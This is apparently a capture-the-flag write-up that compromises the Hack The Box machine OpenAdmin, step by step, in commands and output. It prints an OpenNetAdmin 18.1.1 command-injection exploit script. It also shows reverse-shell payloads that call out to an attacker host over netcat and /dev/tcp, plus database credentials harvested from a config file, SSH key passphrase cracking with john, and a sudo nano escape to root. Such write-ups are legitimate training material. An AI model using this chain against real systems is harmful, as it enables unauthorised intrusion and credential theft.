RHOST: 10.10.10.171
LHOST: xx.xx.xx.xx
To start with I just scanned for open ports on the remote host.
root@kali:~# nmap -sV 10.10.10.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 07:25 EST
Nmap scan report for 10.10.10.171
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.58 seconds
Nothing too interesting, standard ssh and webserver running.
Hitting 10.10.10.171
with a HTTP request returns the OOTB apache page, let's
try enumerating common directory names to see if we can find anything else.
I'm using gobuster
, but you can use any scanning tool like dirb
, nikto
etc.
root@kali:~# gobuster dir -u http://10.10.10.171 -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.171
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/02/04 05:37:28 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/artwork (Status: 301)
Progress: 1381 / 4615 (29.92%)
Found a directory named /artwork
, let's take a peek.
Seems to just be a bunch of static pages, probably a dead end. Gobuster has found some more results though!
root@kali:~# gobuster dir -u http://10.10.10.171 -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.171
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/02/04 05:37:28 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/artwork (Status: 301)
/index.html (Status: 200)
/music (Status: 301)
/server-status (Status: 403)
Progress: 4315 / 4615 (93.50%)
Let's check out the /music
directory.
At first glance it looks like it's just another static site template, but notice the login link leads to another url /ona
Hitting up /ona we are greeted with the dashboard for OpenNetAdmin
Seems to be software for IP Address Management, right off the bat we can see
the dashboard has a warning that the version in use, 18.1.1
is outdated.
Hopefully we can use that to our advantage.
I searched exploitdb for any known vulnerabilities.
root@kali:~# searchsploit opennetadmin
------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
ayyyy lmao what do you know, there's a vulnerabity for this version that allows RCE. Let's look at the script.
root@kali:~# cat /usr/share/exploitdb/exploits/php/webapps/47691.sh
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
So it looks like with a specially crafted payload in the HTTP post data, we can run our own commands on the OpenNetAdmin server. However when I try and run the bash script:
root@kali:~# bash /usr/share/exploitdb/exploits/php/webapps/47691.sh http://10.10.10.171/ona/
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 8: $'\r': command not found
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 16: $'\r': command not found
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 18: $'\r': command not found
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 23: syntax error near unexpected token `done'
/usr/share/exploitdb/exploits/php/webapps/47691.sh: line 23: `done'
I get some errors thrown related to line endings (\r), looks like a mismatch
between DOS and UNIX line endings, so let's run the script through dos2unix
root@kali:~# cp /usr/share/exploitdb/exploits/php/webapps/47691.sh onaRCE.sh
root@kali:~# dos2unix onaRCE.sh
dos2unix: converting file onaRCE.sh to Unix format...
root@kali:~# bash onaRCE.sh http://10.10.10.171/ona/
$ whoami
www-data
$
Lo and behold, we are able to do remote code execution on the server as the user
running the webserver, www-data
.
However the shell we have is quite limited in functionality, we aren't able to
change directory and I don't get the STDERR
stream.
$ cd /home
$ pwd
/opt/ona/www
Let's try and get a more functional reverse shell to make life a bit easier
On local: Use netcat to listen on port 8888
nc -vnlp 8888
First I tried to dial out from the remote using netcat, but it didn't work
On remote:
$ nc -e /bin/sh xx.xx.xx.xx 8888
$
I don't get a connection, so I assume nc with the -e flag didn't work since I can't see the error output.
$ /bin/sh | nc xx.xx.xx.xx 8888
Piping bourne shell to netcat managed to connect to my box but I couldn't actually get any output streams back. Since the webserver runs php, I grabbed a php reverse shell from my local onto the webserver.
On local:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1'");
in /var/www/html/rshell.php
On remote:
$ wget xx.xx.xx.xx/rshell.php
$ cat rshell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1'");
One HTTP request to the php reverse shell later:
root@kali:~# wget http://10.10.10.171/ona/rshell.php
--2020-02-04 07:14:27-- http://10.10.10.171/ona/rshell.php
Connecting to 10.10.10.171:80... connected.
HTTP request sent, awaiting response...
root@kali:~# nc -vnlp 8888
listening on [any] 8888 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [10.10.10.171] 34712
bash: cannot set terminal process group (987): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$
Boom, a marginally better shell. We can improve it further by making it fully interactive complete with tab completion with this little trick
Use python's pty (pseudo terminal) library to spawn a bash process, CTRL+Z to send netcat
to background, change terminal settings to pass keyboard shortcuts and other
special characters through with stty raw -echo
, then fg
to revive the netcat
process to foreground.
www-data@openadmin:/opt/ona/www$ python3 -c 'import pty;pty.spawn("/bin/bash");'
<ww$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@openadmin:/opt/ona/www$ ^Z
[1]+ Stopped nc -vnlp 8888
root@kali:~# stty raw -echo
root@kali:~# nc -vnlp 8888
www-data@openadmin:/opt/ona/www$
I decided to take a look at the webserver configuration
www-data@openadmin:/etc/apache2/sites-enabled$ ls
internal.conf openadmin.conf
www-data@openadmin:/etc/apache2/sites-enabled$ cat internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
www-data@openadmin:/etc/apache2/sites-enabled$ ls -lah /var/www
total 16K
drwxr-xr-x 4 root root 4.0K Nov 22 18:15 .
drwxr-xr-x 14 root root 4.0K Nov 21 14:08 ..
drwxr-xr-x 6 www-data www-data 4.0K Nov 22 15:59 html
drwxrwx--- 2 jimmy internal 4.0K Nov 23 17:43 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 ona -> /opt/ona/www
www-data@openadmin:/etc/apache2/sites-enabled$ ls /var/www/internal
ls: cannot open directory '/var/www/internal': Permission denied
Interesting, the /var/www/internal
directory, which my current user group does not
permission to, is being served by apache on port 52846
but only to the servers
localhost. This should be useful for later. We can also see a user jimmy
.
Taking a look at /etc/passwd, there looks like there's another user of
interest, joanna
, that we should try to pivot to
www-data@openadmin:/opt/ona/www$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
After some time enumerating through the server, I ended up searching the initial directory we were in and I found something useful.
www-data@openadmin:/opt/ona/www$ grep -r 'passw' .
...
./local/config/database_settings.inc.php: 'db_passwd' => 'n1nj4W4rri0R!',
...
www-data@openadmin:/opt/ona/www$ cat local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Jackpot! Credentials for database in plaintext in a config file.
www-data@openadmin:/opt/ona/www$ mysql -uona_sys -pn1nj4W4rri0R!
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 103
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| ona_default |
+--------------------+
2 rows in set (0.00 sec)
mysql> use ona_default; show tables;
Database changed
+------------------------+
| Tables_in_ona_default |
+------------------------+
| blocks |
| configuration_types |
| configurations |
| custom_attribute_types |
| custom_attributes |
| dcm_module_list |
| device_types |
| devices |
| dhcp_failover_groups |
| dhcp_option_entries |
| dhcp_options |
| dhcp_pools |
| dhcp_server_subnets |
| dns |
| dns_server_domains |
| dns_views |
| domains |
| group_assignments |
| groups |
| host_roles |
| hosts |
| interface_clusters |
| interfaces |
| locations |
| manufacturers |
| messages |
| models |
| ona_logs |
| permission_assignments |
| permissions |
| roles |
| sequences |
| sessions |
| subnet_types |
| subnets |
| sys_config |
| tags |
| users |
| vlan_campuses |
| vlans |
+------------------------+
40 rows in set (0.00 sec)
mysql> select * from users;
+----+----------+----------------------------------+-------+---------------------+---------------------+
| id | username | password | level | ctime | atime |
+----+----------+----------------------------------+-------+---------------------+---------------------+
| 1 | guest | 098f6bcd4621d373cade4e832627b4f6 | 0 | 2020-02-04 12:30:40 | 2020-02-04 12:30:40 |
| 2 | admin | 21232f297a57a5a743894a0e4a801fc3 | 0 | 2007-10-30 03:00:17 | 2007-12-02 22:10:26 |
+----+----------+----------------------------------+-------+---------------------+---------------------+
2 rows in set (0.00 sec)
This turns out to be a bit of a dead end. The password columns are just hashed
with MD5 and we get test
and admin
respectively.
Next I tried the database user password n1nj4W4rri0R!
for the users joanna
and jimmy
.
root@kali:~# ssh [email protected]
The authenticity of host '10.10.10.171 (10.10.10.171)' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.171' (ECDSA) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
No luck for user joanna
root@kali:~# ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
...
jimmy@openadmin:~$
Awesome, seems like user jimmy
was lazy and reused the same password.
There is nothing in his home directory so it seems we need to pivot to joanna
's
account to get the user flag.
Since jimmy
is the owner of the /var/www/internal
directory we saw earlier,
let's take a look at what's inside
jimmy@openadmin:~$ cd /var/www/internal
jimmy@openadmin:/var/www/internal$ ls
index.php logout.php main.php
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
main.php
looks extremely interesting, joanna
's private key would be rendered on
the page if we were logged into the php session.
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
ob_start();
session_start();
?>
<?
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
?>
<html lang = "en">
...
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
...
</body>
</html>
index.php
looks like a crude login page which redirects us to main.php
if we
are identified as jimmy
in the session. The credentials are hardcoded in the
source, with username: jimmy
and the password as the sha512 hash of 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1
One quick google later, we find that the hash decrypts to Revealed
Now we need to actually get apache to serve us the php files in order to get
joanna
's private key, however apache is configured to only serve the php in
/var/www/internal
over localhost. We can circumvent this by using an ssh tunnel
to do local port forwarding.
root@kali:~# ssh -N -L 42069:localhost:52846 [email protected]
[email protected]'s password:
With this ssh command, we are forwarding localhost:52846
from the remote server
to our localhost:42069
. The -N
flag tells ssh we aren't intending to run any remote commands
so it doesn't spawn a shell on the remote side. Now we can request the files in the /var/www/internal
directory on the server.
We now have joanna
's RSA private key! There is one slight problem, notice the
header
Proc-Type: 4,ENCRYPTED
This means that this privated key is encoded with a passphrase which we will
need if we are to use it to logon to the server as joanna
.
We can try to bruteforce the passphrase using JohnTheRipper, but first the RSA private key needs to be converted to a hash we can pass into john. I used the ubiquitous rockyou wordlist and one cigarette later I came back to the passphrase!
root@kali:~# python ssh2john.py joanna_priv > joanna_hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt joanna_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (joanna_priv)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:10 DONE (2020-02-04 08:04) 0.09699g/s 1391Kp/s 1391Kc/s 1391KC/sa6_123..*7¡Vamos!
Session completed
Now we can ssh into the server as joanna
using her private key
root@kali:~# ssh -i joanna_priv [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
...
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
And we have the user flag! Now time to privilege escalate to get the root flag.
Let's start with a common technique, listing commands the current user can run with sudo
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
We are able to use nano as root to edit one file /opt/priv
I looked on GTFOBins to see if we can exploit sudo nano and yes we can with:
sudo nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
Command to execute: reset; sh 1>&0 2>&0#
# Get Help ^X Read File
# Cancel M-F New Buffer
#
# whoami
root
# cat /root/root.txt
2f907ed450b361b2c2bf4e8795d5b561
#
And just like that we managed to get root!